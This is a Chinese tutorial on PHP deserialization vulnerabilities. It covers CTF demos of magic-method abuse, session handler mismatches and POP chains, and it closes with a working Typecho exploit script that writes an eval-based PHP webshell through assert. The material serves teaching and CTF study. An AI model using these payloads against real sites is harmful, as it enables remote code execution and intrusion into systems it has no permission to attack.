PHP反序列化总结

Posted i春秋

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP反序列化总结相关的知识,希望对你有一定的参考价值。

i春秋社区


相关基础

1.序列化和反序列化相关知识

1.1什么是(反)序列化:

序列化是将变量(对象)转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。


1.2php(反)序列化常见的函数:

Serialize、Unserialize、json_encode、json_decode。


1.3序列化之后的格式:

a - array:

a:<length>:{key,value pairs} 

a:1:{i:1;s:1:"a";}

b - boolean:

d - double

i - integer

o - object:

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>};O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"**";N;} //说明person对象中name属性为Null、age属性为19,**属性为Null


s - string

s:length:"value";

s:1:"a";


N - null

N;


2.php对象常见的魔幻函数

construct: 在创建对象时候初始化对象,一般用于对变量赋初值。

destruct: 和构造函数相反,当对象所在函数调用完毕后执行。

toString:当对象被当做一个字符串使用时调用。

sleep:序列化对象之前就调用此方法(其返回需要一个数组)

wakeup:反序列化恢复对象之前调用该方法

call:当调用对象中不存在的方法会自动调用该方法。

get:在调用私有属性的时候会自动执行

更多见:http://php.net/manual/zh/language.oop5.magic.php


测试:

PHP反序列化总结


3.php_session序列化和反序列化相关知识

3.1 php_session处理器

php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值  

php:存储方式是,键名+竖线+经过serialize()函数序列处理的值。

php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
设置方式:在php_ini中session.serialize_handler(PHP_INI_ALL) 设置,
也可以在代码中设置:

ini_set('session.serialize_handler', 'php');


各类存储方式示例:
代码:

<?php

ini_set('

session.serialize_handler', 'php');session_start();

$_SESSION['a'] = $_GET['a']; 

var_dump($_SESSION);

?>


当我传入?a=O:4:"pass":0:{}时:

php处理器存储的为:a|s:15:"O:4:"pass":0:{}";

php_serialize处理器存储的为:a:1:{s:1:"a";s:15:"O:4:"pass":0:{}";}

php_binary处理器存储的为:(乱码了..自己测试吧)


3.2.php_ini中与php_session相关的配置知识

session.save_path = "" //设置session的存储路径

session.auto_start = boolen //指定会话模块是否在请求开始时启动一个会话,默认0(不启动)

session.serialize_handler = string //指定序列化、反序列化处理器

<!--##### 3.3.熟悉phpinfo中相关配置 -->


常见的漏洞

1 将传来的序列化unserilize,造成魔幻函数执行

demo1:

由bugku的一个题启发而写的一个缩略版的demo,原题链接:http://120.24.86.145:8006/test1/


<script language="php">

class Flag{ //flag.php    

public $file;    

public function __tostring(){        

if(isset($this->file)){            

echo file_get_contents($this->file);            

echo "<br />";        

return ("good");        }    }}

$password = unserialize($_GET['password']);  

echo $password;   

</script>


关键点:当对象被当作字符串使用时调用__tostring()魔幻函数,所以如果我们给password传入一个序列化的对象,那么echo $password 就会调用魔幻函数。

构造payload:

<script language="php">

class Flag{ //flag.php    

public $file;    

public function __tostring(){        

if(isset($this->file)){            

echo file_get_contents($this->file);           

 echo "<br />";        

return ("good");        }    }}

$obj = new Flag();

$obj->file = "Flag.php"; 

 echo serialize($obj); 

</script>


生成

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}


最后读出flag.php

PHP反序列化总结

demo2:

<script language="php">

class Flag{ //flag.php    

public $file;    

public function __wakeup(){       

 if(isset($this->file)){            

echo file_get_contents($this->file);        }    }}unserialize($_GET['password']);   

</script>


这个例子是利用的反序列化恢复对象之前会调用__wakeup(),所以构造payload方法和demo1中一样。

将拿到的序列化字符传入:  

http://localhost:9096/test1.php?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

即可得到flag.php中的文件  

当然还有其他魔幻函数:__construct、__destruct都行   

总的来说:
①:有可控的数据被反序列化
②:有魔幻函数中敏感代码被执行。


2 php session处理器设置不当的漏洞。

起源于一道CTF

题目传送门:http://web.jarvisoj.com:32784/


题目源码:

<?php

//A webshell is wait for you

ini_set('session.serialize_handler', 'php');session_start();

class OowoO{    

public $mdzz;    

function __construct()   

 {        

$this->mdzz = 'phpinfo();';    

}    

function __destruct()    

{        eval($this->mdzz);   

 } 

}

if(isset($_GET['phpinfo'])) 

{    

$m = new OowoO(); 

}

else

{    

highlight_string(file_get_contents('index.php')); 

}?>

第一眼看到这个题的时候很懵逼.... 没有数据可以输入的地方...然后琢磨了一下wp..... 感觉发现了新大陆...  


从phpinfo中可以发现  

session.serialize_handler = php_serilize


而代码中设置的

ini_set('session.serialize_handler', 'php');


从上文介绍相关处理器的时候可以知道:
PHP处理器:a为session的键名,|后面为经过serialize处理的键值

PHP反序列化总结


而php_serialize处理器

PHP反序列化总结


这其中php_serialize有一个特性,就是可以在字符串变量中储存 | 符号,然后当我们以php_serialize
格式存入|O:4:"pass":0:{}

PHP反序列化总结


再以php处理器处理:即变成了
["a:1:{s:1:"a";s:16:""]为键名,test对象为值。

PHP反序列化总结


demo3(上述过程具体实现代码):

<?php//ini_set('session.serialize_handler', 'php');session_start();$_SESSION['a'] = $_GET['a'];?>


实现步骤:

1.设置php_ini中的session.serialize_handler = php_serialize,访问http://localhost:9096/test1.php?a=|O:4:"test":0:{},即写入session。
2.将上述代码注释去掉,并给$_SESSION['a'] = $_GET['a'];加上注释,即可看到php和php_serialize处理|的漏洞。


所以这里就可以利用这个特性给网页传入一个构造的php_serialize格式的session,
然后让php解析器将|后的数据解析成"值",以达到代码执行目的。
然后我们利用这个特点写入一个session(以php_serialize格式),然后让该页面以php方式处理,从而给$mdzz赋值,获取敏感信息。


demo4:

test1.php

<?php

ini_set('

session.serialize_handler', 'php');session_start();

//$_SESSION['a'] = $_GET['a'];

var_dump($_SESSION);class Test{    

function __construct(){        

echo "__constrct";    

}    

function __destruct(){        

echo "__destruct";        

eval(phpinfo());    

       }

 }

?>


本地事先存储了以php_serilize格式的session:a:1:{s:1:"a";s:16:"|O:4:"Test":0:{}
然后访问test1.php

PHP反序列化总结

好符合上述题目中的eval函数中的代码执行


总的来说 :
其实这种漏洞就是session序列化及反序列化处理器设置不当造成。本质上是它们对处理“|”的差异造成。如果以php_serilize方式存入,比如我们构造出'|' 伪造的序列化值存入,但之后解析又是用的php处理器的话,那么将会反序列化伪造的数据('|’之前当作键名,'|'之后当作键值)


其次如果想要利用的话,就是找到注入点,将我们构造的session注入进去。

其实我还是有点疑问的
那么为什么php处理器处理的时候会执行session中的值呢?
猜想:与session_start或者php处理器有关
暂时还没有捣鼓出来...


如何寻找注入点将数据注入到session

上面说的那个CTF题原理已经知道了,但是并不知道从哪注入session。
就我了解的而言,有以下几种写入session的途径


1.通过配置不当造成的session可控

参考:https://bugs.php.net/bug.php?id=71101
当在php.ini中设置session.upload_progress.enabled = On的时候,PHP将能够跟踪上传单个文件的上传进度。当上传正在进行时,以及在将与session.upload_progress.name INI设置相同的名称的变量设置为POST时,上传进度将在$ _SESSION超全局中可用。


我们启用了该配置项后,POST一个和session.upload_progress.name同名变量的时候
PHP会将文件名保存在$_SESSION中


所以构造一个提交文件的表单:

<formaction =“http://web.jarvisoj.com:32784/index.php”method =“POST”enctype =“multipart/form-data”>    

<inputtype=“hidden”name =“PHP_SESSION_UPLOAD_PROGRESS”value =“1”/>    <input type =“file”name =“file”/>    

<input type =“submit”/>

</form>


然后构造一个序列化的数据:

<?php

ini_set('

session.serialize.handler','php');session_start();

class OowoO{    

public $mdzz = 'payload';}

$obj  = new OowoO();

echo serialize($obj);

?>

即可使得析构函数中的eval()执行任意代码。

<!-- ###2 -->


构造注入链:pop

1.POP链原理简介:

在反序列化中,我们能控制的数据就是对象中的属性值,所以在PHP反序列化中有一种
漏洞利用方法叫"面向属性编程",即POP( Property Oriented Programming)。
在反序列化漏洞利用中,最理想的情况就是漏洞能利用的点在那几个魔幻函数中,
而实际上往往是从这几个魔幻函数开始,逐步的跟进这个函数中调用的函数,直到找到可以利用的点。


试想一下,如果上面那个CTF题目的代码执行函数eval()函数不在__destruct这类
魔幻函数中,而是在一个普通的方法中,我们就没办法直接利用它执行代码了。
这个时候就需要构造一个链,链接到我们需要执行的函数eval()。 


demo5(模拟了一个简单的场景):

<?php

class OowoO

{    

protected $obj;     

function __destruct()   

 {       

 //$obj = new test1; 这里可以控制$obj为任意对象        $this->obj->a();    }}

class test1{    

function a(){        

echo "123";    

   } 

}

class test2{    private $data;    

function a(){        

eval($this->data);    

    } 

unserialize($_GET['a']);?>


利用: 

<script language="php">

class OowoO{    

protected $obj;    

public function __construct(){        

$this->obj = new test2();   

  } 

}

class test2{    

private$data= "phpinfo();"; 

}

echo urlencode(serialize(new OowoO()));

</script>


结果:

PHP反序列化总结

值得注意的是,反序列化可以控制类的属性,无论private还是public。
但是这里有个坑,如果类中存在protected或者private属性的时候,序列化的时候会产生空
字节,所以记得urlencode一下,payload才会生效。


demo6:

<?php

class test{    

private $a="a";    

protected $b="b";    

public $c="c";}

echo urlencode(serialize(new test()));

?>

PHP反序列化总结


总的来说:如果魔幻函数中没有漏洞利用点,但他调用了其他对象(意味着实例化了该对象)中的方法A,
由于上述demo5中我们传入的反序列化数据可以实例化任意对象,所以我们可以全局寻找一个和方法A同名的方法,然后逐个查看其他同名方法A中是否含有可利用的点。


2.typecho反序列化漏洞分析:

漏洞文件为根目录下的install.php,第283行:

$config=unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));

$type = explode('_', $config['adapter']);

$type = array_pop($type);

$installDb = new Typecho_Db($config['adapter'], 

$config['prefix']);

$installDb->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

从cookie中将__typecho_config的值取出,然后在TypechoDb中实例化。这里就是漏洞的注入点,

下面就需要找到漏洞的利用点,接着搜寻魔幻函数 __construct、__destruct、\_wakeup。 


在/var/Typecho/Db.php中Typecho_Db类,代码第114行,找到一个_construct(1)可以利用,因为$adapterName变量存在字符串拼接
如果给它反序列化传入一个对象的话,会调用 \_tostring函数(如果存在的话)。


public function __construct($adapterName, $prefix = 'typecho_'){    

$this->_adapterName=$adapterName;    $adapterName='Typecho_Db_Adapter_' . $adapterName; 


可以发现在同文件下的第134行,实例化了$adapterName,会调用__tostring(2)

$this->_adapter = new $adapterName();


全局搜索__tostring后,在/var/Typecho/Feed.php中Typecho_Feed类可以发现__tostring(2)方法:290行:

foreach ($this->_items as $item) {    

$content .= '<entry>' . self::EOL;    

$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;    

$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;    

$content .= '<id>' . $item['link'] . '</id>' . self::EOL;    $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;    

$content='<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;    

$content .= '<author> 

<name>' . $item['author']->screenName . '</name> 

<uri>' . $item['author']->url . '</uri> 

</author>' . self::EOL;


在该段代码的倒数第三行中,如果构造$item['author']是一个对象,screenName是其私有属性,
则会调用__get(3)方法。  


然后在/var/Typecho/Request.php中Typecho_Request类中  __get(3)方法:226行

public function __get($key){    return $this->get($key);}


调用了get方法:295行

ublic function get($key, $default = NULL){    

switch (true) {       

 case isset($this->_params[$key]):            

$value = $this->_params[$key];           

 break;        

case isset(self::$_httpParams[$key]):           

 $value = self::$_httpParams[$key];            

break;        default:            

$value = $default;            

break;    }    

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;    

return $this->_applyFilter($value);}


跟进一下_applyFilter(),在该文件的159行:

private function _applyFilter($value){   

 if ($this->_filter) {        

foreach ($this->_filter as $filter) {            

$value = is_array($value) ? array_map($filter, $value) :            

call_user_func($filter, $value);        

}

调用了call_user_func($filter,$value)函数,找到了可以利用的点了。  


反过来分析:

回溯查看一下$value变量的来源:由Typecho_Request类中的$_params传入。
然后$filter在代码的120行有定义:

private $_filter = array();

所以可以直接对该属性赋值。


再来考虑一下如何触发__get(3)方法:

PHP反序列化总结

然后就可以把$_items数组所在的Typecho_Feed类,实例化传给$adapter,从而触发__tostring(2),然后\_construct(1)

自动执行,即构成了完整的一条攻击链。


总的来说,现在就很好理解这些数组的嵌套关系了。

Array(    [adapter] => Typecho_Feed Object        (            [_type:Typecho_Feed:private] => RSS 2.0            [_version:Typecho_Feed:private] => 1            [_charset:Typecho_Feed:private] => UTF-8            [_lang:Typecho_Feed:private] => en            [_items:Typecho_Feed:private] => Array //$_itemss数组                (                    [0] => Array  //$item数组                        (                            [author] => Typecho_Request Object //$item['author']赋予一个对象值,触发__get()                                (                                    [_params:Typecho_Request:private] => Array                                        (                                            [screenName] => file_put_contents('Passer6y.php', '<?php eval($_POST[1]);?>')                                        )                                    [_filter:Typecho_Request:private] => Array                                        (                                            [0] => assert                                       

 )                              

 )                        

)                 )        )      

[prefix] => th1s


EXP(copy from Ph0rse大佬):

<?php//

当__get方法执行时,使用assert函数调用file_put_contents函数,写入木马

class Typecho_Request{    

private$_params=array('screenName'=> "file_put_contents('Passer6y.php','<?php eval($_POST[1]);?>')");    

private $_filter = array('assert');}//


构造Feed类,使__get方法执行

class Typecho_Feed{    const RSS2 = "RSS 2.0";    private $_type;    

private $_version;    

private $_charset;    

private $_lang;    

private $_items = array();

     

public function __construct($version, 

$type = self::RSS2, $charset = 'UTF-8', 

$lang = 'en'){        

$this->_version = $version;        

$this->_type = $type;        

$this->_charset = $charset;        

$this->_lang = $lang;    }    

public function addItem(array $item){        

$this->_items[] = $item;    }}

$class1 = new Typecho_Feed(1);

$class2 = new Typecho_Request();

$class1->addItem(array('author' => 

$class2));$exp = array('adapter' => 

$class1, 'prefix' => 'th1s');

echo base64_encode(serialize($exp));

?>


如何防御

过滤:试想一下,当unserialize执行的时候,会调用自动__wakeup魔幻函数,
我们可以利用这点,对用户可控的数据进行严格过滤,使之不能成功控制属性值。

使用get_included_files函数查看是否有漏洞的类被包含了

尽量使用json_endcode/json_decode来取代

编辑:咕嘟嘟

责任编辑:MAD小郭

校对:小林龙马、山雾草野、小南瓜


戳阅读原文,跟作者进行深度交流吧~


以上是关于PHP反序列化总结的主要内容,如果未能解决你的问题,请参考以下文章

PHP反序列化总结

PHP反序列化新手入门学习总结

CTF php反序列化总结

PHP反序列化漏洞总结

PHP Phar反序列化总结

php反序列化总结与学习